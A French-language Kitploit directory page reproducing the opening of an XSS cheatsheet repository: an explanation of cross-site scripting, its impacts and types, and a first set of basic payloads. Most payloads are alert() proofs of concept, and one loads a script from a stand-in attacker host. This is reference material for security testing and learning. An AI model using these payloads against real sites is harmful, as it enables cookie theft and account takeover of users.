Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xss-cheatsheet — Référence XSS complète couvrant les payloads réfléchis, stockés, DOM et aveugles, le contournement de filtres, l'évasion des WAF, le contournement de CSP, le mXSS et des études de cas CVE réelles. | Kitploit
Outils/GitHubGitHub/ardakocadoru/xss-cheatsheet
Scanners de Vulnérabilités WebGénération de PayloadsAnalyse des VulnérabilitésExploitation d'Applications WebContournement de WAFSécurité WebTests d'IntrusionApprentissage et ÉducationRessources Organisées
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

222il y a 3 moisPas encore vérifié

Référence XSS complète couvrant les payloads réfléchis, stockés, DOM et aveugles, le contournement de filtres, l'évasion des WAF, le contournement de CSP, le mXSS et des études de cas CVE réelles.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

⚡ XSS Cheatsheet — Référence Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

La référence XSS la plus complète sur GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, contournements de filtres, évasion de WAF, contournement de CSP, mXSS, chaînes de prototype pollution et CVE réelles. Mise à jour pour 2026.

Payloads · Contournement de filtres · Évasion de WAF · DOM XSS · Contournement de CSP · Blind XSS · Avancé · Outils


Table des matières

  • Qu'est-ce que le XSS ?
  • Types de XSS
  • Payloads de base
    • Payloads classiques
    • Alternatives à alert
    • Sans parenthèses
    • Sans espaces
    • Avec guillemets supprimés
  • Contournement de filtres
    • Variation de casse
    • Obfuscation de balises
    • Liste des gestionnaires d'événements
    • Encodage HTML
    • Encodage JavaScript
    • Encodage URL
    • Double encodage
    • Payloads SVG
    • Spécifique HTML5
    • Data URI
  • Payloads selon le contexte
    • Contexte HTML
    • Contexte d'attribut HTML
    • Contexte JavaScript
    • Contexte de chaîne JavaScript
    • Contexte URL
    • Contexte CSS
    • Contexte JSON / Template
  • Évasion de WAF
    • Contournement de Cloudflare
    • Contournement de ModSecurity
    • Contournement d'AWS WAF
    • Évasion générique
  • Contournement de CSP
    • unsafe-inline
    • script-src self
    • Listes blanches de CDN
    • base-uri manquant
    • Dangling Markup
    • CSP basé sur un nonce
  • XSS basé sur le DOM
    • Sources courantes
    • Sinks courants
    • Payloads DOM XSS
    • Injection de template AngularJS
  • Blind XSS
  • Polyglottes XSS
  • XSS via upload de fichier
  • XSS dans les en-têtes HTTP
  • XSS vers RCE
  • Techniques avancées
    • mXSS
    • DOM Clobbering
    • Prototype Pollution vers XSS
    • CSTI
  • Défense
  • CVE réelles
  • Outils
  • Références
  • Contribution

🎯 Qu'est-ce que le XSS ?

Le Cross-Site Scripting (XSS) est une attaque par injection de code côté client où un attaquant injecte des scripts malveillants dans du contenu servi par une application web de confiance. Lorsque le navigateur de la victime affiche la page, le script injecté s'exécute avec les mêmes privilèges que les scripts légitimes de cette origine.

Pourquoi le XSS est important

Le XSS figure systématiquement dans le Top 10 de l'OWASP car l'impact est grave et la surface d'attaque est énorme :

ImpactDescription
Détournement de sessionVoler document.cookie et prendre le contrôle de sessions authentifiées
Prise de contrôle de compteModifier l'email/mot de passe via des requêtes forgées en utilisant la session de la victime
KeyloggingCapturer chaque frappe au clavier, y compris les mots de passe et numéros de carte bancaire
HameçonnageInjecter de faux formulaires de connexion qui soumettent les identifiants à l'attaquant
DéfigurationModifier le contenu de la page pour diffuser de la désinformation ou embarrasser la cible
Distribution de logiciels malveillantsRediriger les victimes vers des kits d'exploitation
Minage de cryptomonnaiesExécuter des mineurs de cryptomonnaies dans les navigateurs des victimes
SSRF / Scan de ports internesUtiliser le navigateur de la victime pour sonder le réseau interne
Collecte d'identifiantsLire les identifiants préremplis depuis le DOM
Capture d'écran / WebcamCapturer l'écran via getDisplayMedia(), la webcam via getUserMedia()

La politique de même origine et le XSS

Le XSS contourne la politique de même origine (SOP). Comme le script malveillant est servi depuis l'origine cible, le navigateur le considère comme fiable. Cela signifie que le XSS donne à un attaquant :

  • Un accès complet en lecture/écriture au DOM
  • L'accès à tous les cookies non protégés par HttpOnly
  • La capacité d'effectuer des requêtes XHR/fetch authentifiées vers la même origine
  • L'accès à localStorage et sessionStorage

🗺️ Types de XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TypePersistanceQui est touchéLe serveur voit-il la charge utile ?
ReflectedNonVictime cibléeOui
StoredOuiTous les visiteursOui
DOMNonVictime cibléeGénéralement non
BlindOui (à distance)Administrateur / utilisateur backendOui (au point d'injection)

💥 Charges utiles de base

Classiques

Les charges utiles fondamentales que tout chercheur en sécurité connaît. Elles fonctionnent là où aucun filtrage n'existe.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>
Télécharger l’outil